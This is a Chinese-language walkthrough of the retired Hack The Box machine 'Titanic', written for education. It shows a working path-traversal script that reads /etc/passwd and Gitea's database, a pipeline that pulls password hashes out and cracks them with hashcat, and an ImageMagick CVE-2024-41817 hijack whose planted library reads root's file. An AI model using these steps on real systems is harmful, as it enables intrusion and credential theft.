題目:

  • https://app.hackthebox.com/machines/Titanic

  • 靶機的 IP 以下統一用 HTB_TARGET_IP 代表 ( 每次 spawn 都不一樣,請自行代換 ) 。

  • 目標:

    • 拿到靶機上的 user.txt 和 root.txt 的內容。
  • 靶機已退役 ( 2025/02/15 release ,難度 Easy ,Linux ) ,本文僅供教育與學習用途,請勿將文中技術用於未經授權的系統,文中也不會貼出 flag 內容。

nmap 掃描 HTB_TARGET_IP

sudo nmap -sSCV -A -Pn HTB_TARGET_IP

大致結果:

PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/

這樣代表 HTB_TARGET_IP 應該要 redirect 到 titanic.htb 。

設定 HTB_TARGET_IP redirect 到 titanic.htb

到 /etc/hosts 底部加入 IP 和對應域名:

HTB_TARGET_IP titanic.htb

這樣就可以直接從 browser 輸入 http://titanic.htb 查看網頁。

嘗試網頁功能

嘗試去 Book 一個 trip ,填寫完資料後發現它會下載一個檔案,用 Burp 進去查看在 Book trip 的時候做了甚麼事情,送了什麼請求。

送出的請求 ( 取重點 ) :

GET /download?ticket=<json_file> HTTP/1.1

收到的回覆 ( 取重點 ) :

{
"name": "a",
"email": "a@a.a",
"phone": "",
"date": "2025-02-03",
"cabin": "Standard"
}

去看送出請求後得到的下載檔案內容也會是類似這樣 ( 如前面所收到的回覆 ) :

{"name": "a", "email": "a@a.a", "phone": "1", "date": "2025-02-03", "cabin": "Standard"}

仔細觀察網址的邏輯是 ticket 後面接上一個路徑,如果後端沒有處理好斜線之類的可能會造成任意路徑訪問 ( LFI, Local file inclusion ) ,又題目有提示是 Linux 直覺就是看有沒有 /etc/passwd 但是不知道他要往上幾層才可以到根目錄,感覺可以寫 script 去檢測一下。

在寫 script 檢測之前應該要先測試如果沒找到檔案應該要有什麼樣的回應,我去測試一個應該不存在的檔案路徑 aaa 得到以下回復:

{
"error":"Ticket not found"
}

開始寫 script 來偵測是否有 LFI ( 主要目的就是看可不可以真的讀到特定檔案 ) :

import requests
url = "http://titanic.htb/download?ticket="
etcpasswd = "/etc/passwd"
success_url = []
for i in range(10):
headers = {
"Cache-Control": "max-age=0",
"Accept-Language": "en-US,en;q=0.9",
# 這邊基本上就是把 burp 那邊的 request 資訊搬過來,
# 這邊示意一下就不全部貼過來,不然太占版面。
}
# 這邊就是決定路徑前面要有幾組 ../ 。
full_url = url + "../" * i + etcpasswd
print("Full URL:", full_url)
response = requests.get(full_url, headers=headers)
if "Ticket not found" in response.text:
print("FAIL")
else:
print("SUCCESS")
success_url.append(full_url)
print(response.text)
print("SUCCESS URL:")
for x in success_url:
print(x)

結論是確實可以讀到 /etc/passwd 的內容,不過這邊有個有趣的結果 ( 程式部份結果如下 ) ,注意看前兩個結果,我猜測是他會直接解析絕對路徑,也會沿著 ../ 跑到上層路徑,這邊看起來他應該就有三層 ( 我是從他三層以上都可以成功去判斷的 ) ,所以這邊可以大概知道這個後端去找資料的地方 ../../../ 後是 / ( root path ) ,並且 URL 可以吃進去 絕對路徑 ,畢竟直接給絕對路徑也會有結果 ( 目前這樣猜測 ) :

SUCCESS URL:
http://titanic.htb/download?ticket=/etc/passwd
http://titanic.htb/download?ticket=../../..//etc/passwd
http://titanic.htb/download?ticket=../../../..//etc/passwd
http://titanic.htb/download?ticket=../../../../..//etc/passwd
http://titanic.htb/download?ticket=../../../../../..//etc/passwd
http://titanic.htb/download?ticket=../../../../../../..//etc/passwd
http://titanic.htb/download?ticket=../../../../../../../..//etc/passwd
http://titanic.htb/download?ticket=../../../../../../../../..//etc/passwd
http://titanic.htb/download?ticket=../../../../../../../../../..//etc/passwd

目前能讀檔但是這個讀檔的功能也是隨著後端程式的權限,不一定是我們要的 user 權限所以也不一定可以開啟 user.txt ,但... 結果就是確實可以開啟 user.txt 翻一翻找到 developer 這個使用者有 user.txt ,但是如果目前還沒到 root 想要進一步提權,可能之後還是要解出密碼。

去察看靶機上的 /etc/hosts 可以看到:

127.0.0.1 localhost titanic.htb dev.titanic.htb

順手也把自己本機的 /etc/hosts 也修改一下:

HTB_TARGET_IP titanic.htb dev.titanic.htb

這樣就可以用瀏覽器去瀏覽 http://dev.titanic.htb ,上面基本上就是一些開發需要用到的檔案,基本上我看到的各種 docker 設定檔,推測開發者應該是在 docker 上面架服務,上面沒看到甚麼關鍵 source code ,但是設定檔應該也可以給出很多資訊了。

http://dev.titanic.htb/developer/docker-config 這邊可以看到專案有用到 gitea 和 mysql ,這邊主要是看有沒有特別的 檔案 或者 路徑 甚至是其他各種有用的線索,因為就算這個網頁沒有顯示一些特定檔案,我們早就有 LFI 可以任意讀取檔案了。

在 dev.titanic.htb/developer/docker-config/src/branch/main/mysql/docker-compose.yml 這個地方可以看到 mysql 的 root 密碼,不過目前還沒看到 mysql 相關的切入點,先放著。

Gitea 可以想像成類似 GitHub ,但是是自己架設並且管理程式碼的服務, Gitea 通常有設定檔 ( 這邊不是說網頁上面的 Gitea 的 docker config ,而是 Gitea 自己的 config ) ,從 這篇說明 可以發現通常是在 custom/conf/app.ini 。

不過我目前就算知道 custom/conf/app.ini 這個路徑片段 ( custom 應該要換成特定的名稱 ) ,我還是不知道在本機的相對或絕對位置,但又必須要知道才可以用先前的 LFI leak 出來,這時候我是去看 gitea 資料夾裡面 ( http://dev.titanic.htb/developer/docker-config/src/branch/main/gitea/docker-compose.yml ) 有沒有其他有用的設定,這時候看到一個設定,他是把本地路徑下的東西轉移到 docker 路徑之下:

container_name: gitea
volumes:
- /home/developer/gitea/data:/data # Replace with your path

這樣我就推斷在靶機上有這個以下檔案,並且我用以下網址利用 LFI 漏洞拿到該檔案:

/home/developer/gitea/data/gitea/conf/app.ini
http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini

在 app.ini 看到 /data/gitea/gitea.db 這個 database 檔案,裡面可能有很多資訊,先把他載下來,路徑一樣把它對應到本機:

/home/developer/gitea/data/gitea/gitea.db
http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db

用 file 指令觀察 gitea.db 會發現它是 sqlite database ,用相對應的工具就可以去讀取他,我用以下邏輯找到各個使用者的資訊 hash :

# 確認 database 完整性
sqlite3 gitea.db "PRAGMA integrity_check;"

# 列出 db 檔裡面所包含的資料庫,因為有可能不只一個
sqlite3 -header -column gitea.db ".databases"

# 前面看到只有一個,直接列出表格,因為表格很多,所以先搜尋一下有興趣的關鍵字,結果是找到 user table
sqlite3 -header -column gitea.db ".tables"
sqlite3 -header -column gitea.db ".tables" | grep -ni pass
sqlite3 -header -column gitea.db ".tables" | grep -ni acco
sqlite3 -header -column gitea.db ".tables" | grep -ni user

# 這邊與先前類似,找 user table 裡面有趣的 column
sqlite3 -header -column gitea.db "PRAGMA main.table_info('user');"
sqlite3 -header -column gitea.db "PRAGMA main.table_info('user');" | grep -ni 'name'
sqlite3 -header -column gitea.db "PRAGMA main.table_info('user');" | grep -ni 'pass'

# 到這邊其實有找到 name 、 passwd 和 salt 這三個欄位,會找 salt 是因為通常生 hash 會用到
# 這邊就是找到各個 user 的 hash
sqlite3 -header -column gitea.db "select passwd,salt,name from user;"

# 這邊只是用指令把 output parse 更好看,並且以一定的格式存入 gitea.hashes
sqlite3 gitea.db "select passwd,salt,name from user;" | while read data; do \
digest="$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64)"; \
salt="$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64)"; \
name="$(echo "$data" | cut -d'|' -f3)"; \
echo "${name}:sha256:50000:${salt}:${digest}"; \
done | tee gitea.hashes

用 hashcat 去爆破 hash 最後可以得出 developer 的密碼是 25282528 :

hashcat gitea.hashes /usr/share/wordlists/rockyou.txt.gz --user

用以上那組帳密就可以 ssh 進去 developer 權限的 shell 。

到這邊要開始想要怎麼提權,最直覺簡單的應該就是查看有沒有可以執行但又有弱點的東西,但我必須說要找到這些東西要一點通靈能力...

主要是看有沒有 developer 可以跑的 script 又有可能提權的開始找,但是沒找到,所以我就去系統上找看看有沒有一些高權限 process 可能會跑到的 script ,去除掉一些我覺得應該是系統上正常的檔案後就會找到 /opt/scripts/identify_images.sh ,我是用以下指令去翻找的:

find / -type f \( -name "*.sh" \) 2>/dev/null | grep -vni '/usr/'

又 /opt/scripts/identify_images.sh 是在 /opt 之下,代表系統有可能會去執行這個 script ,結論就是要想辦法讓他觸發。

先去查看 /opt/scripts/identify_images.sh 內容 ( 看起來像是分析並且儲存圖片資訊 ) :

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

下指令去看 magick 版本,並且搜尋該版本有沒有漏洞:

/usr/bin/magick --version

看到版本是 7.1.1-35 ,我先去查 CVE 發現 CVE-2024-41817 可以 arbitrary code execution ,如果這個 script 是系統會用高權限去執行的話 ( 目前看起來可能會是系統會定時執行的東西 ) ,那所造成的 arbitrary code execution 就會是高權限的 arbitrary code execution ,那這樣就可以直接讀取 root.txt 。

讀剛剛那篇漏洞文章稍微理解了一下漏洞成因與用法:

magick 是 AppImage ,啟動時會先跑 AppRun 這個 script ,但是 AppRun 設環境變數的時候會留下空元素, Linux 上面好像預測如果路徑裡出現空元素就會以當前資料夾來找檔案 ( LD_LIBRARY_PATH 是 loader 找 .so 的搜尋路徑 ) 。

AppRun 裡面相關的是這行 ( $HERE 是 AppImage 解開後的根目錄 ) :

export LD_LIBRARY_PATH=$(readlink -f "$HERE/usr/lib"):$LD_LIBRARY_PATH

usr/lib 一定存在,所以 readlink -f 正常回傳,問題在結尾那個 :$LD_LIBRARY_PATH —— 這個變數平常沒人設,展開後是空的,所以結尾就留下一個孤單的冒號 ( 以下用 /app 代表 $HERE ) :

LD_LIBRARY_PATH=/app/usr/lib:
^

^ 指的地方就是空元素,對 loader 來說等於當前資料夾。

所以我們只要在當前資料夾模擬出一個可能可以讓她找到的檔案 ( ./libxcb.so.1 ,這是看那篇漏洞文章得知的 ) 就好。而 identify_images.sh 第一行就 cd 到 /opt/app/static/assets/images ,所以 .so 放那邊就對了。

寫 hook ( 改自 advisory 的 PoC ,只把 system() 裡的 id 換成讀 flag ) :

cd /opt/app/static/assets/images
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
system("cat /root/root.txt > /tmp/rootflag");
exit(0);
}
EOF

這時候用高權限觸發 magick ,它一載入 libxcb.so.1 就會跑我們的 constructor ,直接讀取 root.txt !

這邊假設如果 /opt/scripts/identify_images.sh 系統用高權限自動執行的話,那要觸發他,根據 script 內容,是要在特定位置產圖片,他就會被觸發,並且記錄圖片資訊,那我就這樣做,即可觸發 magick 並且如果該 process 有高權限,就可以讀出 root.txt ,結論是這樣就直接拿到 root.txt :

cd /opt/app/static/assets/images
cp home.jpg home2.jpg
cat /tmp/rootflag

Titanic has been Pwned